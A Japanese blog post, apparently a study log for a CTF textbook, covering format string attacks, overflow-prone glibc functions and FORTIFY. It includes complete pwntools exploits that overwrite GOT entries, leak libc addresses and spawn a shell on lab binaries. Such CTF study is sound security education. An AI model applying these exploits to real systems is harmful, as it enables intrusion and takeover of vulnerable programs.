0x0000000000401204 <+142>: je 0x40120f <main+153> 0x0000000000401206 <+144>: lea rax,[rip+0xdff] # 0x40200c 0x000000000040120d <+151>: jmp 0x401216 <main+160> 0x000000000040120f <+153>: lea rax,[rip+0xdf9] # 0x40200f 0x0000000000401216 <+160>: mov rsi,QWORD PTR [rip+0x2e23] # 0x404040 <A> 0x000000000040121d <+167>: mov r8,rdx 0x0000000000401220 <+170>: mov rdx,rax 0x0000000000401223 <+173>: lea rdi,[rip+0xdee] # 0x402018 0x000000000040122a <+180>: mov eax,0x0 0x000000000040122f <+185>: call 0x401070 <printf@plt> 0x0000000000401234 <+190>: mov eax,0x0 0x0000000000401239 <+195>: mov rcx,QWORD PTR [rbp-0x8] 0x000000000040123d <+199>: xor rcx,QWORD PTR fs:0x28 0x0000000000401246 <+208>: je 0x40124d <main+215> 0x0000000000401248 <+210>: call 0x401060 <__stack_chk_fail@plt> 0x000000000040124d <+215>: leave 0x000000000040124e <+216>: ret End of assembler dump.
スタックを可視化します。
| アドレス | サイズ | 内容 |
|---|---|---|
| rbp - 0x20 | 8 | buf(rsp) |
| rbp - 0x18 | 8 | p1 |
| rbp - 0x10 | 8 | p2 |
| rbp - 0x08 | 8 | canary |
| rbp |
先ほどの発展編と同様に、書籍では、コマンドラインで実行していますが、ここでは、Pythonコードを書いていきます。PIE ではないので、A と B のアドレスを調べます。
$ python Python 3.11.2 (main, May 2 2024, 11:59:08) [GCC 12.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> bin_file = './fsb_twice' >>> context(os = 'linux', arch = 'amd64') >>> binf = ELF( bin_file ) [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_twice' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes >>> >>> hex(binf.symbols['A']) '0x404040' >>> >>> hex(binf.symbols['B']) '0x404048'
まずは、書式文字列攻撃で、p1 が B を指すようにするため、p1 のアドレスの &p1(つまり、p2)を指定する必要があります。p2 の位置は、rsp の 2つ先なので、8番目になります。p1 には、A のアドレスとして、0x404040 が入っているので、これを、0x404048 に書き換えます(先頭の 0x48 の 1byteだけを書き換えればいい)。すると、書式文字列は %72c%8$hhn となります。
これで、p1 が B を指したはずなので、次は、0xcafeba00 を 0xcafebabe に書き換える(これも先頭 1byteだけを書き換えればいい)ために、&B(つまり、p1)を指定するので、0xbe(190)から 72 を引いて、書式文字列を %118c%7$hhn とすればいいです。
これら 2つを合わせて、%72c%8$hhn%118c%7$hhn とすればいいはずです。
実装した Pythonコードです。
#!/usr/bin/env python3 from pwn import * bin_file = './fsb_twice' context(os = 'linux', arch = 'amd64') binf = ELF( bin_file ) info( f"binf.symbols['A']=0x{binf.symbols['A']:X}, binf.symbols['B']=0x{binf.symbols['B']:X}" ) def attack( proc, **kwargs ): proc.sendline( b'%72c%8$hhn%118c%7$hhn' ) info( proc.recvall() ) def main(): adrs = "shape-facility.picoctf.net" port = 51556 #adrs = "localhost" #port = 4000 #proc = gdb.debug( bin_file ) proc = process( bin_file ) #proc = remote( adrs, port ) attack( proc ) #proc.interactive() if __name__ == '__main__': main()
実行してみます。
うーん、うまくいきません。デバッガで見たところ、A の代わりに B を指すところは出来ていましたが、その後、B が書き換わるところが、A が be に書き換わっています。想定した順序で、書き換わってないような感じです。
$ python exploit_fsb_twice.py [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_twice' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes [*] binf.symbols['A']=0x404040, binf.symbols['B']=0x404048 [+] Starting local process './fsb_twice': pid 1816 [+] Receiving all data: Done (231B) [*] Process './fsb_twice' stopped with exit code 0 (pid 1816) /home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes self._log(logging.INFO, message, args, kwargs, 'info') [*] \x01 \x00 A = 0xdeadbebe (NG) B = 0xcafeba00 (NG)
書籍には、こうなる理由が書かれています。printf関数に与えられた書式文字列(%72c%8$hhn%118c%7$hhn)は、前から解釈されていって、m$ が出現した時点で、引数の値を別の領域にコピーして、そこで処理を行うとのことです。つまり、スタック上の値を変えても使われないということですね。
では、どうすればいいかというと、2つの m$ を使う場合は、先に処理してほしいものについては、m$ の位置指定を使わずに、%c を並べて、位置を調整してやればいいようです(m$ が出現するまでは、普通に順次処理が行われるため)。こうすることで、2つ目の m$ を見つけた時に、先に処理してほしい方のスタックの値が書き換わっているため、想定されたように処理が行われるわけです。
では、ソースコードを修正します。
#!/usr/bin/env python3 from pwn import * bin_file = './fsb_twice' context(os = 'linux', arch = 'amd64') binf = ELF( bin_file ) info( f"binf.symbols['A']=0x{binf.symbols['A']:X}, binf.symbols['B']=0x{binf.symbols['B']:X}" ) def attack( proc, **kwargs ): #proc.sendline( b'%72c%8$hhn%118c%7$hhn' ) proc.sendline( b'%c%c%c%c%c%c%66c%hhn%118c%7$hhn' ) info( proc.recvall() ) def main(): adrs = "shape-facility.picoctf.net" port = 51556 #adrs = "localhost" #port = 4000 #proc = gdb.debug( bin_file ) proc = process( bin_file ) #proc = remote( adrs, port ) attack( proc ) #proc.interactive() if __name__ == '__main__': main()
実行してみます。うまくいきました!
$ python exploit_fsb_twice.py [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_twice' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes [*] binf.symbols['A']=0x404040, binf.symbols['B']=0x404048 [+] Starting local process './fsb_twice': pid 1927 [+] Receiving all data: Done (231B) [*] Process './fsb_twice' stopped with exit code 0 (pid 1927) /home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes self._log(logging.INFO, message, args, kwargs, 'info') [*] \x01\x00\x00`° @ \x00 A = 0xdeadbeef (OK) B = 0xcafebabe (OK)
35.2:バッファオーバーフロー
ここでは、glibc で提供されるライブラリ関数のうち、バッファオーバーフローを引き起こす可能性のある関数について、言及しています。
35.2.1:ユーザからの入力
ユーザ入力を受け付ける関数について説明されています。ユーザ入力を受け付ける関数については、いかの記事でまとめましたので、参考にしてください。
daisuke20240310.hatenablog.com
35.2.2:文字列処理
文字列を扱う関数について、注意事項が説明されています。
- strcpy関数、stpcpy関数:代替関数として、strncpy関数、stpncpy関数が用意されています
- strcat関数:代替関数として、strncat関数が用意されています
- sprintf関数、vsprintf関数:代替関数として、snprintf関数、vsnprintf関数が用意されています
- sscanf関数、vsscanf関数:第1引数の格納先バッファに strlen(str)+1 以上の容量を確保しておくこと
35.3:緩和機構
FORTIFY について、説明されています。セキュリティ機構で、いつも調べてる checksec の FORTIFY という項目がありますが、あれのことです。
FORTIFY を有効にするには、_FORTIFY_SOURCE というマクロを定義し、かつ、最適化レベルを 1以上(-O1 以上)にした状態でコンパイルします。また、_FORTIFY_SOURCE 1 とした場合は、プログラムの動作に影響を与えない範囲でチェックされ、_FORTIFY_SOURCE 2 にすると、強力にチェックされるようになります。
FORTIFY が有効になると、特定の関数が、スタックバッファオーバーフローなどがチェックされる関数に置き換わります。
書籍から提供されているプログラムバイナリが 3つあるので、実際に確認してみます。pwntools の pwn の checksec では、有効か無効かだけが表示されます。本家?の checksec では、有効/無効に加えて、Fortified は FORTIFY の機能を有効にした数、Fortifiable は FORTIFY の機能数(有効にできる関数の数)が表示されます。
今回の fortify_strcpy では、1つの関数が有効可能で、その関数が有効になっていることを示しています。
$ pwn checksec --file=fortify_strcpy [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fortify_strcpy' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled SHSTK: Enabled IBT: Enabled Stripped: No $ ~/bin/checksec --file=fortify_strcpy RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 65 Symbols Yes 1 1 fortify_strcpy
以下は、fortify_strcpy の main関数のソースコードです。
#define _FORTIFY_SOURCE 1 #include <stdio.h> #include <string.h> int main(void){ char buf[0x10]; strcpy(buf, "aaaabbbbccccdddd"); puts(buf); }
以下は、fortify_strcpy の main関数のアセンブラです。strcpy が strcpy_chk に置き換わっています。strcpy関数は 2つの引数を取りますが、strcpy_chk関数に置き換わったことで、第3引数が追加されています。第3引数には、バッファサイズ(16)が設定されています。strcpy_chk関数は、バッファオーバーフローが発生するような状況になると、異常終了するような関数になっています。
0000000000401176 <main>: 401176: f3 0f 1e fa endbr64 40117a: 55 push rbp 40117b: 53 push rbx 40117c: 48 83 ec 28 sub rsp,0x28 401180: bb 28 00 00 00 mov ebx,0x28 401185: 64 48 8b 03 mov rax,QWORD PTR fs:[rbx] 401189: 48 89 44 24 18 mov QWORD PTR [rsp+0x18],rax 40118e: 31 c0 xor eax,eax 401190: 48 89 e5 mov rbp,rsp 401193: ba 10 00 00 00 mov edx,0x10 401198: 48 8d 35 65 0e 00 00 lea rsi,[rip+0xe65] # 402004 <_IO_stdin_used+0x4> 40119f: 48 89 ef mov rdi,rbp 4011a2: e8 d9 fe ff ff call 401080 <__strcpy_chk@plt> 4011a7: 48 89 ef mov rdi,rbp 4011aa: e8 b1 fe ff ff call 401060 <puts@plt> 4011af: 48 8b 44 24 18 mov rax,QWORD PTR [rsp+0x18] 4011b4: 64 48 33 03 xor rax,QWORD PTR fs:[rbx] 4011b8: 75 0c jne 4011c6 <main+0x50> 4011ba: b8 00 00 00 00 mov eax,0x0 4011bf: 48 83 c4 28 add rsp,0x28 4011c3: 5b pop rbx 4011c4: 5d pop rbp 4011c5: c3 ret 4011c6: e8 a5 fe ff ff call 401070 <__stack_chk_fail@plt> 4011cb: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
他にも、printf関数については、代わりに printf_chk関数に置き換わり、変換指定子の n を検知したり、不正なインデックスが指定されると異常終了する対応がされていることが紹介されています。
35.4:実践問題
問題としては、次のプログラムでシェルを起動してください、というものです。ヒントとしては、「繰り返し書式文字列攻撃ができるようにする」ということと、「与えられる文字数の上限に気を付ける」とのことです。
ソースコードと、プログラムバイナリと、エクスプロイトコードが提供されています。
まず、ソースコードです。ユーザが入力した文字列を表示してるだけです。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(void){ char buf[0x30] = {}; setbuf(stdout, NULL); puts("Input message"); read(STDIN_FILENO, buf, sizeof(buf)); printf(buf); exit(0); }
表層解析を行います。FORTIFY は無効ですね。
$ file chall_vulnfunc chall_vulnfunc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=86643e5d8e21c8b21eb445b5ce84656205fb9cf9, for GNU/Linux 3.2.0, not stripped $ pwn checksec --file=chall_vulnfunc [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/vulnfunc/chall_vulnfunc' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No $ ~/bin/checksec --file=chall_vulnfunc RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 68 Symbols No 0 2 chall_vulnfunc
アセンブラを確認します。
ん? Canary を保存してるように見えますね。。最後のチェックが無いので、スタックカナリヤは無効のようです。
pwndbg> disassemble Dump of assembler code for function main: 0x00000000004011b6 <+0>: endbr64 0x00000000004011ba <+4>: push rbp 0x00000000004011bb <+5>: mov rbp,rsp => 0x00000000004011be <+8>: sub rsp,0x40 0x00000000004011c2 <+12>: mov rax,QWORD PTR fs:0x28 0x00000000004011cb <+21>: mov QWORD PTR [rbp-0x8],rax 0x00000000004011cf <+25>: xor eax,eax 0x00000000004011d1 <+27>: mov QWORD PTR [rbp-0x40],0x0 0x00000000004011d9 <+35>: mov QWORD PTR [rbp-0x38],0x0 0x00000000004011e1 <+43>: mov QWORD PTR [rbp-0x30],0x0 0x00000000004011e9 <+51>: mov QWORD PTR [rbp-0x28],0x0 0x00000000004011f1 <+59>: mov QWORD PTR [rbp-0x20],0x0 0x00000000004011f9 <+67>: mov QWORD PTR [rbp-0x18],0x0 0x0000000000401201 <+75>: mov rax,QWORD PTR [rip+0x2e48] # 0x404050 <stdout@@GLIBC_2.2.5> 0x0000000000401208 <+82>: mov esi,0x0 0x000000000040120d <+87>: mov rdi,rax 0x0000000000401210 <+90>: call 0x401090 <setbuf@plt> 0x0000000000401215 <+95>: lea rdi,[rip+0xde8] # 0x402004 0x000000000040121c <+102>: call 0x401080 <puts@plt> 0x0000000000401221 <+107>: lea rax,[rbp-0x40] 0x0000000000401225 <+111>: mov edx,0x30 0x000000000040122a <+116>: mov rsi,rax 0x000000000040122d <+119>: mov edi,0x0 0x0000000000401232 <+124>: call 0x4010b0 <read@plt> 0x0000000000401237 <+129>: lea rax,[rbp-0x40] 0x000000000040123b <+133>: mov rdi,rax 0x000000000040123e <+136>: mov eax,0x0 0x0000000000401243 <+141>: call 0x4010a0 <printf@plt> 0x0000000000401248 <+146>: mov edi,0x0 0x000000000040124d <+151>: call 0x4010c0 <exit@plt> End of assembler dump.
スタックを可視化します。
| アドレス | サイズ | 内容 |
|---|---|---|
| rbp - 0x40 | 48 | buf(rsp) |
| rbp - 0x10 | 8 | 空き |
| rbp - 0x08 | 8 | canary? |
| rbp |
No PIE なので、main関数のアドレスはすぐ分かります。exit関数の GOT Overwrite で、main関数にジャンプが出来れば、何度も書式文字列攻撃することは実現できそうです。スタックカナリヤが無効なので、リターンアドレスを書き換えて main関数に戻れるかな、と思いましたが、exit関数を対処しないとプログラムが終了してしまいますね。
GOT と system関数のアドレスを確認します。printf関数の実行直前で確認しているので、printf関数と、exit関数は、遅延バインドにより、まだ実行されてないので、アドレスは libc のアドレスではないですね。
これは助かります。buf が 48byte しかないため、書式文字列攻撃で書き換える場所が少なくて済みます。main関数のアドレスを調べると、0x4011b6 だったので、2byte を書き換えるだけで済みます。
pwndbg> got Filtering out read-only entries (display them with -r or --show-readonly) State of the GOT of /home/daisuke/svn_/experiment/shokai_security_contest/files/pwnable/99_challs/vulnfunc/chall_vulnfunc: GOT protection: Partial RELRO | Found 5 GOT entries passing the filter [0x404018] puts@GLIBC_2.2.5 -> 0x7236d8280e50 (puts) ◂— endbr64 [0x404020] setbuf@GLIBC_2.2.5 -> 0x7236d8287fe0 (setbuf) ◂— endbr64 [0x404028] printf@GLIBC_2.2.5 -> 0x7236d82606f0 (printf) ◂— endbr64 [0x404030] read@GLIBC_2.2.5 -> 0x7236d83147d0 (read) ◂— endbr64 [0x404038] exit@GLIBC_2.2.5 -> 0x4011b6 (main) ◂— endbr64
あとは、書式文字列攻撃のアドレスリークで、libc のアドレスを計算して、さらに書式文字列攻撃の GOT Overwrite で、system関数を呼ぶ感じでしょうか。
ここで、以前に書いた、以下の記事の実践問題を思い出してみます。この手法が使えるとシェルが取れます。
このときも同じように main関数を何度も実行するようにしたエクスプロイトでした。1回目の main関数では、stack_chk_fail関数の GOT を書き換えて、ROP で、libc の setbuf関数のアドレスを printf関数で出力させて、main関数に飛ばしてます。2回目の main関数では、出力された libc の setbuf関数のアドレスから、libc 内にある /bin/sh の文字列のアドレスと、system関数のアドレスが求まるので、次の ROP で、シェルを取っています。
このときは、ソースコード自体が、GOT Overwrite を行える実装になっていました。今回は、書式文字列攻撃で、ROP に飛ばしてやる必要があります。
daisuke20240310.hatenablog.com
問題は RSP の位置の調整のところです。書式文字列攻撃で buf の領域を多く使ってしまうので、その後ろの ROP のコードは、RSP から、だいぶ離れた位置になります。この手法では、pop r12、r13、r14、r15 の 4回の pop で ROPコードまで、RSP を移動させていますが、、、うーん、今回の問題に適用するのは無理ですね。
それでは、やはり、書式文字列攻撃のアドレスリークと、書式文字列攻撃の GOT Overwrite の方法で考えます。アドレスリークはおそらく出来ると思うので、GOT Overwrite の方を検討します。
system関数のアドレスを確認してみます。exit関数の GOT に格納されているアドレスが 0x401070 で、main関数のアドレスが 0x4011b6 です。書式文字列攻撃で、system関数のアドレスに書き換えようとすると、6byte を書き換えなければなりません。48byte しか使えないので、厳しいです。
pwndbg> p system $1 = {int (const char *)} 0x7236d8250d70 <__libc_system>
あ、exit関数の GOT を書き換えなくても、setbuf関数の GOT(0x7236d8287fe0)を書き換えてもいいですね。これなら 3byte を書き換えるだけで、何とかなりそうです。いや、"/bin/sh" を引数に与えることを考えたら、printf関数の GOT を書き換えるべきですね。
- 1回目の main関数:exit関数の GOT を main関数のアドレスに書き換える
- 2回目の main関数:printf関数の GOT を system関数のアドレスに書き換える
- 3回目の main関数:printf関数に "/bin/sh" を与えて、シェルを取る
では、エクスプロイトコードを実装していきます。
#!/usr/bin/env python3 from pwn import * bin_file = './chall_vulnfunc' context(os = 'linux', arch = 'amd64') binf = ELF( bin_file ) addr_main = binf.functions['main'].address addr_got_exit = binf.got['exit'] addr_got_setbuf = binf.got['setbuf'] libc = binf.libc offset_libc_setbuf = libc.functions['setbuf'].address offset_libc_system = libc.functions['system'].address def attack( proc, **kwargs ): # GOT Overwrite # ・書式文字列攻撃で、exit関数のGOTにmain関数のアドレスを書き込む # ・No PIEなので、got['exit'](0x404038)に、main関数(0x4011b6)を書き込む # ・0x11(17)、0x40(64)-17=47、0xb6(182)-17-64=101 # ・bufは48byteなので、3回に分けると入らない → 最初に0xb6(182)を書いて、次に0x1140(4416)を書く # ・GOTを確認すると、exit関数は実行前なので、0x401770になってた → 2byte書き込みでいい # ・0x11(17)、0xb6(182)-17=165 info( proc.sendafter( b'Input message', b'%17c%10$hhn%165c%11$hhn'.ljust(0x20, b' ') + p64(binf.got['exit'] + 1) + p64(binf.got['exit']) ).decode() ) # setbuf関数のアドレスをリーク info( proc.sendafter( b'Input message', b'%8$s'.ljust(0x10, b' ') + p64(binf.got['setbuf']) ) ) proc.recv(1) # \n addr_libc_setbuf = u64( proc.recv(6) + b'\x00\x00' ) addr_libc_base = addr_libc_setbuf - offset_libc_setbuf addr_libc_system = addr_libc_base + offset_libc_system info( f"addr_libc_setbuf={addr_libc_setbuf:#x}, addr_libc_base={addr_libc_base:#x}, addr_libc_base={addr_libc_base:#x}, addr_libc_system={addr_libc_system:#x}" ) # GOT Overwrite # ・書式文字列攻撃で、printf関数のGOTにsystem関数のアドレスを書き込む # ・ASLRでアドレスは変わるが、got['printf'](0x7236d82606f0)に、system関数(0x7236d8250d70)を書き込む # 下位3byteを書き換えるが、2byteの取り方で2通りあるが、値の小さい方を選ぶ # さらに、2byteの方が1byteより値が小さかった場合を考慮して分岐する tmp1 = (addr_libc_system >> 8) & 0x00FFFF tmp2 = addr_libc_system & 0x00FFFF if tmp1 > tmp2: tmp3 = (addr_libc_system >> 16) & 0x0000FF info( f"addr_libc_system: 1byte {tmp3:#x}, 2byte {tmp2:#x}" ) if tmp2 > tmp3: atk = f"%{tmp3}c%10$hhn%{tmp2-tmp3}c%11$hn".encode() info( proc.sendafter( b'Input message', atk.ljust(0x20, b' ') + p64(binf.got['printf'] + 2) + p64(binf.got['printf']) ).decode() ) else: atk = f"%{tmp2}c%10$hn%{tmp3-tmp2}c%11$hhn".encode() info( proc.sendafter( b'Input message', atk.ljust(0x20, b' ') + p64(binf.got['printf']) + p64(binf.got['printf'] + 2) ).decode() ) else: tmp3 = addr_libc_system & 0x0000FF info( f"addr_libc_system: 2byte {tmp2:#x}, 1byte {tmp3:#x}" ) if tmp2 > tmp3: atk = f"%{tmp3}c%10$hhn%{tmp2-tmp3}c%11$hn".encode() info( proc.sendafter( b'Input message', atk.ljust(0x20, b' ') + p64(binf.got['printf']) + p64(binf.got['printf'] + 1) ).decode() ) else: atk = f"%{tmp2}c%10$hn%{tmp3-tmp2}c%11$hhn".encode() info( proc.sendafter( b'Input message', atk.ljust(0x20, b' ') + p64(binf.got['printf'] + 1) + p64(binf.got['printf']) ).decode() ) info( proc.sendafter( b'Input message', b'/bin/sh' ) ) def main(): adrs = "shape-facility.picoctf.net" port = 51556 #adrs = "localhost" #port = 4000 #proc = gdb.debug( bin_file ) proc = process( bin_file ) #proc = remote( adrs, port ) attack( proc ) proc.interactive() if __name__ == '__main__': main()
実行してみます。シェルが取れました、成功です!
$ python tmp.py [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/vulnfunc/chall_vulnfunc' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No [*] '/usr/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './chall_vulnfunc': pid 1804 [*] Input message /home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes self._log(logging.INFO, message, args, kwargs, 'info') [*] 0 9@@Input message [*] addr_libc_setbuf=0x7fde2cff02c0, addr_libc_base=0x7fde2cf72000, addr_libc_base=0x7fde2cf72000, addr_libc_system=0x7fde2cfbe490 [*] addr_libc_system: 1byte 0xfb, 2byte 0xe490 [*] @@Input message /home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes self._log(logging.INFO, message, args, kwargs, 'info') [*] \x00 0 *@@Input message [*] Switching to interactive mode $ ls chall_vulnfunc core exploit_vulnfunc_mine.py chall_vulnfunc.c exploit_vulnfunc.py tmp.py
書籍では、エクスプロイトコードが提供されているので、その Pythonコードを見てみます。
最初は、exit関数の GOT を main関数のアドレスで書き換えており、同じことをやっています。あ、\n を含めて、sendafter関数を使うんですね、なるほどです。
次は、libc のアドレスを求めています。その方法は、レジスタに read関数の途中のアドレスが入ってるということで、それを使っているようです。使ってるものは違いますが、まぁ、やってることは同じようなことです。
最後のシェルを取るところも、書式文字列攻撃で、printf関数の GOT を system関数で書き換えており、同じです。ただ、私は 4つのパターンとも実装しましたが、こちらでは、1パターンだけでした。1回失敗しても、やり直せばいいということですかね。
#!/usr/bin/env python3 from pwn import * bin_file = './chall_vulnfunc' context(os = 'linux', arch = 'amd64') # context(terminal = ['tmux', 'splitw', '-v']) # context.log_level = 'debug' binf = ELF(bin_file) addr_main = binf.functions['main'].address addr_got_exit = binf.got['exit'] addr_got_printf = binf.got['printf'] libc = binf.libc offset_libc_read = libc.functions['read'].address def attack(conn, **kwargs): overwrite = {addr_got_exit : addr_main} exploit = fmtstr_payload(6, overwrite, numbwritten = 0, write_size = 'short') conn.sendafter('message\n', exploit) conn.sendlineafter('message\n', '%3$p') addr_libc_read = int(conn.recvline(keepends=False), 16) - 0x12 libc.address = addr_libc_read - offset_libc_read info('addr_libc_base = 0x{:08x}'.format(libc.address)) addr_libc_system = libc.functions['system'].address exploit = '%{}c'.format((addr_libc_system >> 16) & 0xff) exploit += '%10$hhn' exploit += '%{}c'.format((addr_libc_system & 0xffff) - ((addr_libc_system >> 16) & 0xff)) exploit += '%11$hn' exploit = exploit.ljust(0x20, 'x').encode() exploit += flat(addr_got_printf+2, addr_got_printf) # 10, 11 conn.sendafter('message\n', exploit) conn.sendafter('message\n', '/bin/sh') def main(): # conn = gdb.debug(bin_file) conn = process(bin_file) attack(conn) conn.interactive() if __name__=='__main__': main()
おわりに
今回も、引き続き、「詳解セキュリティコンテスト: CTFで学ぶ脆弱性攻略の技術 Compass Booksシリーズ」を読み進めました。なかなか難しかったです。いくつか知らないことがたくさん出てきたので、勉強になりました。
次回は、ようやく、目的のヒープベースエクスプロイトです。
最後になりましたが、エンジニアグループのランキングに参加中です。
気楽にポチッとよろしくお願いいたします🙇
今回は以上です!
最後までお読みいただき、ありがとうございました。